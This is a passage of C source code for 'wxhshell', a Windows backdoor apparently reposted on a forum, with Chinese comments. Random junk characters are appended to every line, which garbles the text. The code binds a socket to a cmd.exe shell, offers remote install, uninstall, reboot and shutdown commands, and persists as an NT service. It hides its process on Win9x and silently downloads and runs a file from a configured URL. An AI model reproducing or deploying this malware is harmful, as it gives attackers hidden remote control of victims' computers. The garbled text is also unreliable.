      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ['b}QW@Fx  
    break; Z/G ev"p  
  } w3N[9w?1  
  // 安装 0}<|7?  
  case 'i': { %3s1z<;R[S  
    if(Install()) *}Xf!"I#]N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Oy%a'w   
    else f<-Jg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -TLlwxc^%  
    break; I"xo*}  
    } BIH-"vTy  
  // 卸载 SbcS]H5Sk  
  case 'r': { .[YuRLGz  
    if(Uninstall()) ]GUvV&6@(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ''|W9!  
    else f<GhkDPm>?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y h7rU?Gj  
    break; y$;/Vm_'  
    } []D&bYpv  
  // 显示 wxhshell 所在路径 t1]K<>g  
  case 'p': { md+nj{Ib  
    char svExeFile[MAX_PATH]; =-tw5], L  
    strcpy(svExeFile,"\n\r"); 3\AU 72-  
      strcat(svExeFile,ExeFile); '-wj9OU  
        send(wsh,svExeFile,strlen(svExeFile),0); QZ!Y2Bz(4  
    break; %]\kgRr  
    } #+JG(^%B  
  // 重启 4d"r^y'  
  case 'b': { 1v#%Ei$6`t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7 G)ZN{'  
    if(Boot(REBOOT)) 65L6:}#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ "E$v&_  
    else { {M3qLf~z#C  
    closesocket(wsh); MlcR"gl*  
    ExitThread(0); {vs uPY  
    } |U~<3.:m:  
    break; lVd^ ^T*fh  
    } 84$nT>c  
  // 关机 ?xA:@:l/  
  case 'd': { XFg 9P}"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m )8BgCy  
    if(Boot(SHUTDOWN)) v0ujdp,B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q[Z8ok  
    else { }I2wjO  
    closesocket(wsh); T _r:4JS  
    ExitThread(0); oVnvO iAc  
    } 60P<4  
    break; "33Fv9C#bK  
    } 0Vj4+2?L5;  
  // 获取shell D{!6Y*d6&s  
  case 's': { phQU D  
    CmdShell(wsh); EJj.1/]|r  
    closesocket(wsh); wrviR  
    ExitThread(0); DP[IZ C  
    break; s:?SF.  
  } +ndaLhj'  
  // 退出 :8I9\eet3  
  case 'x': { &\#sI9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1 Rq,a  
    CloseIt(wsh); B|Du@^$  
    break; fJ5iS  
    } i3dkYevs?  
  // 离开 <qtr   
  case 'q': { Wfu(*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^"2i   
    closesocket(wsh); ~Uu4=  
    WSACleanup(); e%@'5k\SK  
    exit(1); 0\H\lKcK  
    break; |<HPn4 ,X  
        } wYd b*"R  
  } QFE:tBHe  
  } ICpAt~3[M  
jGJLSEe_  
  // 提示信息 .I$qCb|FP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kd>hhiz|  
} j1^I+j)  
  } iyA'#bE-  
VQ"hUX8  
  return; 8H;t_B  
} ?TM ,Q  
%!]@J[*1  
// shell模块句柄 Z.c'Hs+;  
int CmdShell(SOCKET sock) nR7d4)  
{ [\'%?BH(^  
STARTUPINFO si; t;\kR4P  
ZeroMemory(&si,sizeof(si)); 81](T<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bG7O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cq5jPZ}  
PROCESS_INFORMATION ProcessInfo; 1G"z<v B  
char cmdline[]="cmd"; +:8fC$vVfC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -mAUo;O  
  return 0; Q8C_9r/:N>  
} WM Fb4SUR  
C`K?7v3$m  
// 自身启动模式 nv GF2(;l  
int StartFromService(void) 4 <9=5q]  
{ BYpG  
typedef struct ;t'5},(FP  
{ VA WF3  
  DWORD ExitStatus; 83E7k]7]  
  DWORD PebBaseAddress; uya.sF0]9B  
  DWORD AffinityMask; ;l4[%xld  
  DWORD BasePriority; #G .ulX  
  ULONG UniqueProcessId; 3%l*N&gsg:  
  ULONG InheritedFromUniqueProcessId; ]@dZ{H|  
}   PROCESS_BASIC_INFORMATION; m/Oh\KlIl  
B,<da1(a  
PROCNTQSIP NtQueryInformationProcess; V E#Wb7  
c(J!~7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1cxrH+N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lAi6sPG)0  
?QsQnQ  
  HANDLE             hProcess; YT8vP~  
  PROCESS_BASIC_INFORMATION pbi; 8hXl%{6d3  
RzxNbeki[W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;P;-}u  
  if(NULL == hInst ) return 0; `lQ3C{}  
$Oq^jUJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5)FJ:1-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i;]"n;>+/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b$4"i XSQ  
XnDUa3  
  if (!NtQueryInformationProcess) return 0; K:!"+q  
V\{clJ\U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~s% Md  
  if(!hProcess) return 0; q_TR q:&.  
MTsM]o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?: N @!jeJ  
Hx#;Z  
  CloseHandle(hProcess); ?!;7:VIE  
`rgn<I"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RzBF~2 >i  
if(hProcess==NULL) return 0; _XG/Pp)  
XDsx3Ws  
HMODULE hMod; esHg'8?U  
char procName[255]; 0F]>Jby  
unsigned long cbNeeded; i8`Vv7LF  
?$vCW|f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [ OM7g'?S0  
rv &<{@AS~  
  CloseHandle(hProcess); \wo?47+=  
>[MX:Yh  
if(strstr(procName,"services")) return 1; // 以服务启动 `)` n(B  
0C1pt5K  
  return 0; // 注册表启动 o4j[p3$  
} cimp/n"  
%{ABaeb]  
// 主模块 d^RxQuA  
int StartWxhshell(LPSTR lpCmdLine) IHe/xQ@  
{ $8;R[SU6Y  
  SOCKET wsl; (mgS"zPS  
BOOL val=TRUE; Ge2q%  
  int port=0; *-MM<|Qt  
  struct sockaddr_in door; O/,aJCe  
[ p{#XwN  
  if(wscfg.ws_autoins) Install(); s8wmCzB~  
61. Brp.eP  
port=atoi(lpCmdLine); J!0DR4=Xi  
!6BW@GeF]  
if(port<=0) port=wscfg.ws_port; :ZTc7 }  
:axRoRg  
  WSADATA data; xGu r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PfreAEv,  
5i> $]*o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nTuJEFn{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IAYR+c  
  door.sin_family = AF_INET; 2HpHxVJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vk+VP 1D  
  door.sin_port = htons(port); |rJ=Ksc  
t0o`-d(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =o Xsb  
closesocket(wsl); .l>77zM6  
return 1; #z&& M"*a|  
} X*M#FT-  
|kw)KEi}H  
  if(listen(wsl,2) == INVALID_SOCKET) { U F?H>Y&  
closesocket(wsl); iTFdN}U  
return 1; )0ea+ ib  
} (5#nrF]  
  Wxhshell(wsl); NPCs('cd>?  
  WSACleanup(); "l*Pd$sr  
fF?z|  
return 0; N"8_S0=pw  
|<#{"'/=  
} 2Or'c`|  
whpfJNz  
// 以NT服务方式启动 TT'[qfAI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8dZ0rPd?  
{ 3^R&:|,  
DWORD   status = 0; x$IX5:E#e  
  DWORD   specificError = 0xfffffff; bLe <G  
,8:(OB|a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _z'u pb&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z54EG:x.7^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2@9Tfm(=  
  serviceStatus.dwWin32ExitCode     = 0; dls ss\c^M  
  serviceStatus.dwServiceSpecificExitCode = 0; LO <  
  serviceStatus.dwCheckPoint       = 0; lLp^Gt^}w(  
  serviceStatus.dwWaitHint       = 0; T^w36}a  
LJ*q1 ;<E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  86(I^=  
  if (hServiceStatusHandle==0) return; m1),;RsH  
$UgA0]q n  
status = GetLastError(); `wus\&!W  
  if (status!=NO_ERROR) 3D` YZ#M  
{ l% ?T2Fm3>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @\0Eu212  
    serviceStatus.dwCheckPoint       = 0; 99}(~B  
    serviceStatus.dwWaitHint       = 0; ?0)&U  
    serviceStatus.dwWin32ExitCode     = status; gUxP>hB  
    serviceStatus.dwServiceSpecificExitCode = specificError; ? i( %  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]Bm/eRy"  
    return; ?mWw@6G,  
  } q8^^H$<Db  
%F!1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ? %`@ub$  
  serviceStatus.dwCheckPoint       = 0; w S4.8iJ  
  serviceStatus.dwWaitHint       = 0; RT)d]u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <z]cyXv/  
} 6xWe=QGE  
ANJ$'3tg  
// 处理NT服务事件,比如:启动、停止 '<rZm=48  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zRq-b`<7V  
{ 30XR 82P/  
switch(fdwControl) sA'6ty  
{ [* @5\NWR}  
case SERVICE_CONTROL_STOP: ;k7xMZs  
  serviceStatus.dwWin32ExitCode = 0; L1i eaKw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lmfi  
  serviceStatus.dwCheckPoint   = 0; I3,= 0z  
  serviceStatus.dwWaitHint     = 0; @r#v[I  
  { .Jt[(;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $/.zm; D  
  } lD"(MQV@0  
  return; uM_#  
case SERVICE_CONTROL_PAUSE: iTag+G4*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 31rx-D8o  
  break; 3H|_mX  
case SERVICE_CONTROL_CONTINUE: u[ L`-zI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ytz)d/3T  
  break; bty/  
case SERVICE_CONTROL_INTERROGATE: #bl6sa{E  
  break; 5Cq{XcXV  
}; ix(=3 /Dgz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &e;=cAXG  
} F{eU";D  
G`\f  
// 标准应用程序主函数 Xb{ [c+.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (xVsDAp=@  
{ |P -8HlOr  
#$c Rkw  
// 获取操作系统版本 VJdIHsI  
OsIsNt=GetOsVer(); ZCB_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o(:[r@Z0z  
"Qja1TQ  
  // 从命令行安装 CAcS~ "  
  if(strpbrk(lpCmdLine,"iI")) Install(); "\}@gV#r$A  
xER\ZpA :,  
  // 下载执行文件 rb1`UG"h$  
if(wscfg.ws_downexe) { >TQH|}|6(y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +m8!U=Zi  
  WinExec(wscfg.ws_filenam,SW_HIDE); &_~+(  
} |lJX 3  
\>C YC|  
if(!OsIsNt) { @6mBqcE'?  
// 如果时win9x,隐藏进程并且设置为注册表启动 'Y56+P\u  
HideProc(); q|Qk2M  
StartWxhshell(lpCmdLine); qe!fk?T}  
} N 5i+3&  
else W Dg+J  
  if(StartFromService()) $OP7l>KZY  
  // 以服务方式启动 w9, iq@  
  StartServiceCtrlDispatcher(DispatchTable); 2 !At2P2  
else VUhbD  
  // 普通方式启动 SQqD:{#g"  
  StartWxhshell(lpCmdLine); L{(QpgHZ  
#B:hPZM1  
return 0; O2BW6Wc  
}
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只看该作者 1 发表于: 2006-10-10
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